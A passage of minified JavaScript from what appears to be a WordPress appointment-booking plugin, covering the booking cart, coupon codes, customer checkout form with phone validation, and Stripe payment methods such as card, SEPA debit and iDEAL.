e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id=\"'+i+'\"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let i=fe(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data(\"id\"),i=this.cart.getItem(t),s=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");s.on(\"change\",(t=>{let s=W(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:s,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),se().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(u(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ie(e){const s=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:u(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",s);const a=i(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:t.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),s.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),s.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty(\"name\",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty(\"email\",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&\"undefined\"!==t.currentCustomer.phone&&(this.setProperty(\"phone\",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return c(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new M,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,i)=>{i||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,i,s)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+s),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+s);const a=this.methods[s].getControl();if(null!==a){const e=this.getElementSelector(s);this.mountedMethods[s]=!1,a.mount(e),a.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===s&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),i=document.querySelector(t);i&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),i.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(i.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let i=this.paymentMethods.find(e);i.$nav.toggleClass(\"active\",t),i.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let i=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(i?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(i?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=u(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",m().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=u(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+u(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=u(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=u(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,i){if(this.api=e,this.settings=i,this.elements=t,new.target===Fe)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,i){let s={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:i}};return null!==this.control&&(s[this.name]=this.control),s}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,i){const s=e.getCustomer(),a=this.createPaymentMethodData(s.name,s.email,s.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=i.error_handler&&i.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name=\"payment\",this.title=u(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const i=this.getCustomerDetails(),s=this.elements;return new Promise(((e,t)=>{s.submit().then((({error:i})=>{if(i){const e=i.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:s,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=i?.name)&&void 0!==a?a:null,email:null!==(r=i?.email)&&void 0!==r?r:null,phone:null!==(n=i?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,i){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Le extends Fe{setupProperties(){this.name=\"card\",this.title=u(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u(\"Total\",\"motopress-appointment\"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return[\"apple_pay\",\"google_pay\",\"link\"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const i=t.toLowerCase().replace(\u002F([-_][a-z])\u002Fg,(e=>e.toUpperCase().replace(\"-\",\"\").replace(\"_\",\"\")));e.push(i)}})),e}createPaymentRequestButton(){return this.elements.create(\"paymentRequestButton\",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:\"50px\"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}proccessPaymentRequestButtonHandler(e,t){const i=e.getCustomer();return this.api.createPaymentMethod({type:\"card\",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:i.name,email:i.email,phone:i.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete(\"success\"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,console.error(\"Unable to process payment.\",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,i){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,i):super.processPayment(e,t,i)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Oe extends Fe{setupProperties(){this.name=\"sepa_debit\",this.title=u(\"SEPA Direct Debit\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create(\"iban\",{style:this.settings.style,supportedCountries:[\"SEPA\"]})}}class Re extends Fe{setupProperties(){this.name=\"bancontact\",this.title=u(\"Bancontact\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name=\"ideal\",this.title=u(\"iDEAL\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create(\"idealBank\",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name=\"giropay\",this.title=u(\"Giropay\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name=\"sofort\",this.title=u(\"SOFORT\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,i){let s=super.createPaymentMethodData(e,t,i);return s.sofort={country:this.settings.country},s}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId=\"stripe\",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case\"BIF\":case\"CLP\":case\"DJF\":case\"GNF\":case\"JPY\":case\"KMF\":case\"KRW\":case\"MGA\":case\"PYG\":case\"RWF\":case\"UGX\":case\"VND\":case\"VUV\":case\"XAF\":case\"XOF\":case\"XPF\":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u(\"Total\",\"motopress-appointment\"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0\u003Cthis.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0\u003Cthis.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error(\"The payment gateway is not valid.\"));this.$gatewayPreloader.removeClass(\"mpa-hide\");let i=this.view.selectedMethod,s=jQuery.extend({payment_method:i},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[i].processPayment(e,s,a).then((e=>(this.$gatewayPreloader.addClass(\"mpa-hide\"),e)),(e=>{throw this.$gatewayPreloader.addClass(\"mpa-hide\"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:\"auto\",payment_methods:[],public_key:\"\",style:{}})}createPaymentMethods(){let e=[];const 